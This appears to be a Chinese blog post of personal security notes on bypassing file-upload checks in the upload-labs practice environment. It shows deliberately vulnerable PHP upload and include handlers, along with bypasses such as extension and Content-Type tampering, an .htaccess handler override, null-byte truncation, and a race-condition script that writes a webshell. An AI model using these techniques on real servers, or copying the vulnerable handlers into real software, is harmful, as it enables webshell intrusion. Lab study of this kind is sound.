本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记
这篇文章讲文件上传的绕过技巧
某些实例是通过upload-lab,可自行搭建
看代码
index.html
<html lang="en">
<head>
<meta charset="UTF-8">
<title>文件上传title>
head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
请上传文件:
<input type="file" name="file" id="file"><br>
<input type="submit" value="提交">
form>
<script>
document.getElementsByTagName("form")[0].onsubmit=function () {
var flag=false;
var filename=document.getElementById('file').value;
var white=['jpg','png','gif'];
var suf=filename.substring(filename.lastIndexOf('.')+1);
for (var i=0;i<white.length;i++){
if (white[i]==suf){
flag=true;
}
}
if (!flag){
alert("只允许上传后缀为 jpg , png , gif 的文件")
}
return flag;
}
script>
body>
html>
upload.php
$path='./uploads';
if (!is_dir($path)){
mkdir($path);
}
if ($_FILES['file']['error']>0){
echo "上传失败";
}else{
$name=$_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'],"./uploads/".$name);
echo "上传成功
保存位置:"."uploads/".$name."";
}
?>
当遇到这种情况,通过浏览器直接上传WebShell就不可行了
对于这种情况,我通常用的方法是抓包改后缀名。
上传图片马,用BurpSuite抓包
发送到重发器,在filename处把文件名后缀的png改为php
发送请求,上传成功
看代码
upload.php
$path = './uploads';
if (!is_dir($path)) {
mkdir($path);
}
if ($_FILES['file']['error'] > 0) {
echo "上传失败";
} else {
$name = $_FILES['file']['name'];
$type = $_FILES['file']['type'];
$white = ['image/png', 'image/jpg', 'image/gif'];
$flag = false;
for ($i = 0; $i < count($white); $i++) {
if ($white[$i] == $type) {
$flag = true;
}
}
if ($flag) {
move_uploaded_file($_FILES['file']['tmp_name'], "./uploads/" . $name);
echo "上传成功
保存位置:" . "uploads/" . $name . "";
} else {
echo "不正确的文件类型";
}
}
?>
上传WebShell,会提示不正确的文件类型。
绕过的方法也很简单,把 Content-Type 改为正确的内容
上传文件,bp抓包
此时文件的Content-Type是application/octet-stream,这是不能通过检测的。
将Content-Type的内容改为image/jpg即可通过验证
看代码
$path = './uploads';
if (!is_dir($path)) {
mkdir($path);
}
if ($_FILES['file']['error'] > 0) {
echo "上传失败";
} else {
$name = $_FILES['file']['name'];
$suffix=substr(strrchr($name, '.'), 1);
$black=['php','asp','jsp','asa','aspx'];
$flag = true;
for ($i=0;$i<count($black);$i++){
if ($black[$i]==$suffix){
$flag=false;
}
}
if ($flag) {
move_uploaded_file($_FILES['file']['tmp_name'], "./uploads/" . $name);
echo "上传成功
保存位置:" . "uploads/" . $name . "";
} else {
echo "请上传图片文件";
}
}
?>
?>
这个时候,改Content-Type已经没有用了,服务器端会查看用户上传的文件的后缀名,如果后缀名在黑名单中,就会返回错误。
黑名单的绕过核心就是尝试黑名单遗漏的后缀名,至于那个后缀名遗漏了,就要靠耐心和运气了
这里有很多种绕过的方法
开发者忽略的拓展名
在上面的实例中,我们可以找被系统遗漏,但仁能被服务器解析的后缀名,如php3
php文件的后缀可以是php3,php4,php5,phtml
asp文件的后缀可以使asa,cer等
我们在上面的实例中,用bp抓包,将后缀改为php3,即可成功绕过
文件被成功解析
文件加点
在后缀名后面加点。因为Windows的文件会自动去除后面的点
末尾加空格
WIndows会自动去除空格
在php后面有一个空格
末尾加::$DATA
WIndows会自动去掉::$DATA
上传.htaccess文件
htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置
上传一个名为 .htaccess 的文件,内容为
SetHandler application/x-httpd-php
意为将所有的文件都当做php文件解析
再上传图片马,就会将图片马作为php文件解析
访问图片马,会发现图片马作为php文件解析了
大小写绕过
通过大小写可以绕过检测
看代码
$path = './uploads';
if (!is_dir($path)) {
mkdir($path);
}
if ($_FILES['file']['error'] > 0) {
echo "上传失败";
} else {
$name = $_FILES['file']['name'];
$suffix=substr(strrchr($name, '.'), 1);
$white=['jpg','png','gif'];
$flag = false;
for ($i=0;$i<count($white);$i++){
if ($white[$i]==$suffix){
$flag=true;
}
}
if ($flag) {
move_uploaded_file($_FILES['file']['tmp_name'], "./uploads/" . $name);
echo "上传成功
保存位置:" . "uploads/" . $name . "";
} else {
echo "请上传图片文件";
}
}
?>
前面扯了一大堆,我在实际渗透中一次都没见过(除了BEESCMS漏洞),最常见,也是最难绕过的,还是白名单。
绕过方法只有几种
截断(GET)
旧版的PHP(version<5.3.29 && magic_quotes_gpc=off),存在截断漏洞
%00后面的内容会被省略,从而成功上传php文件
截断(POST)
上一个实例,截断的参数是在get参数中,当截断的参数在post中时,就要采用不同的方法
在php的后面,还有一个空格
接下来打开hex进行编辑
找到截断的位置,将空格的20改为00
文件包含漏洞
文件包含漏洞在后面会详细讲,在这里演示用法
假如某网站存在文件包含漏洞,那可以用文件包含漏洞包含图片马,使图片马执行
include.php
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}
?>
此时上传了图片马,位置为 /upload/2.png
访问include.php,设置参数file为图片马的地址
此时图片马的内容当做php代码解析
解析漏洞
服务器解析漏洞,可以看上一篇文章
条件竞争漏洞
看代码
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
在这里,会先将文件保存,然后进行验证,如果验证不通过则删除文件
文件会在目录中有短暂的停留,可以在它停留时访问这个文件,生成一个WebShell文件。
1.php
fputs(fopen('./shell.php','w'),''); ?>
文件上传位置:/upload/1.php
用bp的intruder模块不断上传这个文件
import requests
url='http://192.168.1.5/upload1/upload/1.php'
while True:
r=requests.get(url)
if r.status_code!=404:
print("Success")
break
else:
print('fail')
同时运行bp和Python脚本
这个过程可能耗时很久,需要耐心等待